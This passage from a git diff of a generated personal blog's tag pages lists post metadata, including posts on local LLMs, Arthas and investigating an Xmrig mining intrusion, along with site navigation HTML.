pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"折腾"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"折腾"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git "a/tag/\346\216\250\350\215\220.html" "b/tag/\346\216\250\350\215\220.html"
index fb6526195..74c6fb06d 100644
--- "a/tag/\346\216\250\350\215\220.html"
+++ "b/tag/\346\216\250\350\215\220.html"
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>推荐 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="推荐 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/推荐"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="推荐 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas 